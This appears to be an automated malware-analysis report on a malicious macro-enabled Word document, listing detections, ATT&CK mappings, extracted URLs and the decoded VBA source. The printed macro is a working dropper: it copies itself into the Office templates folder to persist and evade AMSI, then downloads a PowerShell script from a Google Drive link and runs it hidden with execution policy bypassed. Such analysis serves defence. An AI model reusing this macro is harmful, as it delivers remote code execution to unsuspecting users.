MALICIOUS
418
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1566.001 Spearphishing Attachment
The sample is a malicious macro-enabled Office document that uses VBA to download and execute a second-stage payload. The VBA script utilizes WScript.Shell and CreateObject to download a file from an embedded URL and save it to the user's Microsoft Templates directory, likely as a persistence mechanism. The script also references PowerShell, indicating a multi-stage attack.
Heuristics 10
-
ClamAV: Doc.Malware.Mrafr-10020543-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Mrafr-10020543-0
-
VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set WshShell = CreateObject("WScript.Shell") -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
strCommand = "Powershell -ExecutionPolicy Bypass -windowstyle hidden -File " & GetDownloadsPath & "\hidden.ps1" -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
objADOStream.Write objXMLHTTP.ResponseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP.6.0") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm" -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
- https://drive.google.com/u/0/uc?id=1I8o3WmyHqRzxEYismfk1M3RJN5nnsEQ0&export=downloadReferenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3233 bytes |
SHA-256: e0a2754fe9a7fa9c85d37db3a638873aa531166c8a88580879757e21f2eee769 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Q1E11, 16, 0, MSForms, CheckBox"
Attribute VB_Control = "Q1D11, 15, 1, MSForms, CheckBox"
Attribute VB_Control = "Q1C11, 14, 2, MSForms, CheckBox"
Attribute VB_Control = "Q1B21, 13, 3, MSForms, CheckBox"
Attribute VB_Control = "Q1A21, 12, 4, MSForms, CheckBox"
Attribute VB_Control = "Q1E1, 11, 5, MSForms, CheckBox"
Attribute VB_Control = "Q1D1, 10, 6, MSForms, CheckBox"
Attribute VB_Control = "Q1C1, 9, 7, MSForms, CheckBox"
Attribute VB_Control = "Q1B2, 8, 8, MSForms, CheckBox"
Attribute VB_Control = "Q1A2, 7, 9, MSForms, CheckBox"
Attribute VB_Control = "Q1A1, 6, 10, MSForms, CheckBox"
Attribute VB_Control = "Q1B1, 5, 11, MSForms, CheckBox"
Attribute VB_Control = "Q1E, 4, 12, MSForms, CheckBox"
Attribute VB_Control = "Q1D, 3, 13, MSForms, CheckBox"
Attribute VB_Control = "Q1C, 2, 14, MSForms, CheckBox"
Attribute VB_Control = "Q1B, 1, 15, MSForms, CheckBox"
Attribute VB_Control = "Q1A, 0, 16, MSForms, CheckBox"
Attribute VB_Name = "NewMacros"
Sub autoopen()
'function called by the initial 'dropper' code, drops a dotm into %appdata\microsoft templates
curfile = ActiveDocument.Path & "\" & ActiveDocument.Name
templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm"
ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacroEnabled, AddToRecentFiles:=True
' save back to orig location, otherwise AMSI will kcik in (as we are the template)
ActiveDocument.SaveAs2 FileName:=curfile, FileFormat:=wdFormatXMLDocumentMacroEnabled
' now create a new file based on template
Documents.Add Template:=templatefile, NewTemplate:=False, DocumentType:=0
End Sub
Sub autonew()
GetDownloadsPath = Environ$("USERPROFILE") & "\Downloads"
strFileURL = "https://drive.google.com/u/0/uc?id=1I8o3WmyHqRzxEYismfk1M3RJN5nnsEQ0&export=download"
strHDLocation = GetDownloadsPath & "\hidden.ps1"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP.6.0")
objXMLHTTP.Open "GET", strFileURL, False
objXMLHTTP.send
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing
GetDownloadsPath = Environ$("USERPROFILE") & "\Downloads"
strCommand = "Powershell -ExecutionPolicy Bypass -windowstyle hidden -File " & GetDownloadsPath & "\hidden.ps1"
Set WshShell = CreateObject("WScript.Shell")
Set WshShellExec = WshShell.Exec(strCommand)
'MsgBox strCommand
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 23552 bytes |
SHA-256: 783c1662bd8233a8297e4c6f5051bda600cdbcae10e52e23eeb587c3e1437e16 |
|||
|
Detection
ClamAV:
Doc.Malware.Mrafr-10020543-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.